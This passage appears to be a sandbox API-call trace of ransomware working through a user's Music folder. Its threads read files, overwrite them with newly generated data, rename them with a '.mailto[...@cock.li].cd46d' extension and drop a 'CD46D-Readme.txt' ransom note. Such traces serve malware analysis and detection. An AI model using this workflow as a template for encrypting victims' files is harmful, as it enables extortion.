HALPmcxz\\Music\\cIu6mK\\1APn.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.518] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e007b0 [0053.643] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e007b0) returned 1 [0053.643] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49d228) returned 1 [0053.643] NtQueryInformationFile (in: FileHandle=0x268, IoStatusBlock=0xc7bf838, FileInformation=0xc7bf810, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xc7bf838, FileInformation=0xc7bf810) returned 0x0 [0053.643] NtSetInformationFile (FileHandle=0x268, IoStatusBlock=0xc7bf838, FileInformation=0xc7bf810, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.653] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c298) returned 1 [0053.653] FlushFileBuffers (hFile=0x268) returned 1 [0053.657] CloseHandle (hObject=0x268) returned 1 [0053.659] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f8b30 [0053.659] wcscpy (in: _Dest=0x96f8b30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0053.659] wcscat (in: _Dest=0x96f8b30, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" [0053.659] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\cd46d-readme.txt")) returned 0xffffffff [0053.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbac [0053.663] WriteFile (in: hFile=0xbac, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xc7bf834, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xc7bf834*=0x6fd, lpOverlapped=0x0) returned 1 [0053.958] CloseHandle (hObject=0xbac) returned 1 [0053.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8b30) returned 1 [0053.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e468e8) returned 1 Thread: id = 594 os_tid = 0x4f0 [0049.925] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\2x2m0wcgl23pi-x8ax.mp3")) returned 0x20 [0049.925] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3", dwFileAttributes=0x20) returned 1 [0049.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\2x2m0wcgl23pi-x8ax.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b0 [0049.926] GetFileSizeEx (in: hFile=0x9b0, lpFileSize=0x9d3f81c | out: lpFileSize=0x9d3f81c*=64641) returned 1 [0049.926] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0xfc7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.926] ReadFile (in: hFile=0x9b0, lpBuffer=0x9d3f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9d3f79c, lpOverlapped=0x0 | out: lpBuffer=0x9d3f7a0*, lpNumberOfBytesRead=0x9d3f79c*=0x4, lpOverlapped=0x0) returned 1 [0049.927] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edbd8 [0049.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edc28 [0049.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edca0 [0049.927] NtQuerySystemTime (in: CurrentTime=0x9d3f77c | out: CurrentTime=0x9d3f77c*=132174898139124000) returned 0x0 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x377694c6 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x2fba2758 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x63a1ff63 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x3d4109e2 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x5c068811 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x7dea6547 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x696f6e5e [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x677ee24e [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x989feb2 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x3e3c7931 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x2dd8fff2 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x5f25c4b6 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x2c5aa522 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x6bf1e8c4 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x220e7e86 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x5056c9dc [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x522eeb04 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x43b5468c [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x2e56c8b0 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x7a75762f [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x2d2ad24b [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x3b0e68a8 [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0xc54872e [0049.927] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x1ccb5791 [0049.928] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x12a65d5c [0049.928] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x7c966fb9 [0049.928] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x572e7fc2 [0049.928] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x5ea168cb [0049.928] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x304d6f49 [0049.928] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x311eb206 [0049.928] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x524085f1 [0049.928] RtlRandomEx (in: Seed=0x9d3f788 | out: Seed=0x9d3f788) returned 0x49c607b1 [0049.939] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.939] ReadFile (in: hFile=0x9b0, lpBuffer=0x973a830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x9d3f75c, lpOverlapped=0x0 | out: lpBuffer=0x973a830*, lpNumberOfBytesRead=0x9d3f75c*=0xc800, lpOverlapped=0x0) returned 1 [0049.939] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402b10 [0049.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a498 [0049.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edbd8 [0049.939] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edbd8) returned 1 [0049.940] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9747038 [0049.949] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edbd8 [0049.949] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edca0 [0049.949] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edca0) returned 1 [0049.949] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a498) returned 1 [0049.949] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b10) returned 1 [0049.950] WriteFile (in: hFile=0x9b0, lpBuffer=0x9747038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x9d3f75c, lpOverlapped=0x0 | out: lpBuffer=0x9747038*, lpNumberOfBytesWritten=0x9d3f75c*=0xc800, lpOverlapped=0x0) returned 1 [0053.235] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9747038) returned 1 [0053.235] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x973a830) returned 1 [0053.235] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x4025b8 [0053.235] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.235] WriteFile (in: hFile=0x9b0, lpBuffer=0x44e9b0*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x9d3f7dc, lpOverlapped=0x0 | out: lpBuffer=0x44e9b0*, lpNumberOfBytesWritten=0x9d3f7dc*=0x11d, lpOverlapped=0x0) returned 1 [0053.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e9b0) returned 1 [0053.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c3f0) returned 1 [0053.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413e8) returned 1 [0053.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4025b8) returned 1 [0053.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edbd8) returned 1 [0053.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc28) returned 1 [0053.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edcc8) returned 1 [0053.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edcf0) returned 1 [0053.519] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40cf50 [0053.519] wcscpy (in: _Dest=0x40cf50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3" [0053.519] wcscat (in: _Dest=0x40cf50, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0053.519] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x9d3f794, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.519] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe2) returned 0x96f0008 [0053.674] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f0008) returned 1 [0053.674] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49d450) returned 1 [0053.674] NtQueryInformationFile (in: FileHandle=0x9b0, IoStatusBlock=0x9d3f7a0, FileInformation=0x9d3f778, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9d3f7a0, FileInformation=0x9d3f778) returned 0x0 [0053.674] NtSetInformationFile (FileHandle=0x9b0, IoStatusBlock=0x9d3f7a0, FileInformation=0x9d3f778, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.675] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40cf50) returned 1 [0053.675] FlushFileBuffers (hFile=0x9b0) returned 1 [0053.688] CloseHandle (hObject=0x9b0) returned 1 [0053.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f8bb8 [0053.691] wcscpy (in: _Dest=0x96f8bb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0053.691] wcscat (in: _Dest=0x96f8bb8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" [0053.691] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\cd46d-readme.txt")) returned 0x20 [0054.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8bb8) returned 1 [0054.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4176b0) returned 1 Thread: id = 595 os_tid = 0x508 [0049.954] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\ch5lxz82vex1runelty.m4a")) returned 0x20 [0049.954] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a", dwFileAttributes=0x20) returned 1 [0049.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\ch5lxz82vex1runelty.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xae4 [0049.954] GetFileSizeEx (in: hFile=0xae4, lpFileSize=0xe83faa0 | out: lpFileSize=0xe83faa0*=14232) returned 1 [0049.954] SetFilePointerEx (in: hFile=0xae4, liDistanceToMove=0x3794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.955] ReadFile (in: hFile=0xae4, lpBuffer=0xe83fa24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe83fa20, lpOverlapped=0x0 | out: lpBuffer=0xe83fa24*, lpNumberOfBytesRead=0xe83fa20*=0x4, lpOverlapped=0x0) returned 1 [0049.955] SetFilePointerEx (in: hFile=0xae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edca0 [0049.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd18 [0049.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd40 [0049.956] NtQuerySystemTime (in: CurrentTime=0xe83fa00 | out: CurrentTime=0xe83fa00*=132174898139436000) returned 0x0 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x2a322b5a [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x663680d9 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x61b428fa [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x19073e44 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x17d55f2e [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x2833da5e [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x438e8f2 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x1e892327 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x23572ae5 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x883317e [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x1fbf7a49 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x25cd554c [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x166562ff [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x76fc054 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x75deb1c3 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x385be39d [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x52fd3677 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x544c173e [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0xdfd4f39 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x7e5c8ea8 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x3c134388 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x650869f [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x39141639 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x54049ff7 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x76f91e3a [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x3a70183d [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x2b1119e4 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x7acaab7 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x2e656b5b [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x1b368076 [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x676b8cdc [0049.956] RtlRandomEx (in: Seed=0xe83fa0c | out: Seed=0xe83fa0c) returned 0x134a4691 [0049.969] ReadFile (in: hFile=0xae4, lpBuffer=0x9753840, nNumberOfBytesToRead=0x3798, lpNumberOfBytesRead=0xe83f9fc, lpOverlapped=0x0 | out: lpBuffer=0x9753840*, lpNumberOfBytesRead=0xe83f9fc*=0x3798, lpOverlapped=0x0) returned 1 [0049.970] SetFilePointerEx (in: hFile=0xae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.970] WriteFile (in: hFile=0xae4, lpBuffer=0x9760048*, nNumberOfBytesToWrite=0x3798, lpNumberOfBytesWritten=0xe83f9f8, lpOverlapped=0x0 | out: lpBuffer=0x9760048*, lpNumberOfBytesWritten=0xe83f9f8*=0x3798, lpOverlapped=0x0) returned 1 [0053.237] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441398 [0053.237] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0053.237] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416b8) returned 1 [0053.237] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9760048) returned 1 [0053.237] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9753840) returned 1 [0053.237] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a498) returned 1 [0053.237] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b10) returned 1 [0053.237] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x402b10 [0053.237] SetFilePointerEx (in: hFile=0xae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.237] WriteFile (in: hFile=0xae4, lpBuffer=0x441888*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0xe83fa60, lpOverlapped=0x0 | out: lpBuffer=0x441888*, lpNumberOfBytesWritten=0xe83fa60*=0x11f, lpOverlapped=0x0) returned 1 [0053.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441888) returned 1 [0053.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c438) returned 1 [0053.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416b8) returned 1 [0053.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b10) returned 1 [0053.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441398) returned 1 [0053.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd18) returned 1 [0053.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd68) returned 1 [0053.521] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd90) returned 1 [0053.521] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d028 [0053.521] wcscpy (in: _Dest=0x40d028, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a" [0053.521] wcscat (in: _Dest=0x40d028, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0053.521] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe83fa18, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.521] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x449be8 [0053.677] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449be8) returned 1 [0053.677] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49d678) returned 1 [0053.677] NtQueryInformationFile (in: FileHandle=0xae4, IoStatusBlock=0xe83fa24, FileInformation=0xe83f9fc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe83fa24, FileInformation=0xe83f9fc) returned 0x0 [0053.677] NtSetInformationFile (FileHandle=0xae4, IoStatusBlock=0xe83fa24, FileInformation=0xe83f9fc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.678] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d028) returned 1 [0053.678] FlushFileBuffers (hFile=0xae4) returned 1 [0053.689] CloseHandle (hObject=0xae4) returned 1 [0053.693] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f8c40 [0053.693] wcscpy (in: _Dest=0x96f8c40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0053.693] wcscat (in: _Dest=0x96f8c40, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" [0053.693] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\cd46d-readme.txt")) returned 0x20 [0054.037] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8c40) returned 1 [0054.037] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417740) returned 1 Thread: id = 596 os_tid = 0x4a4 [0049.970] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x43c0f0 [0049.970] wcscpy (in: _Dest=0x43c0f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") 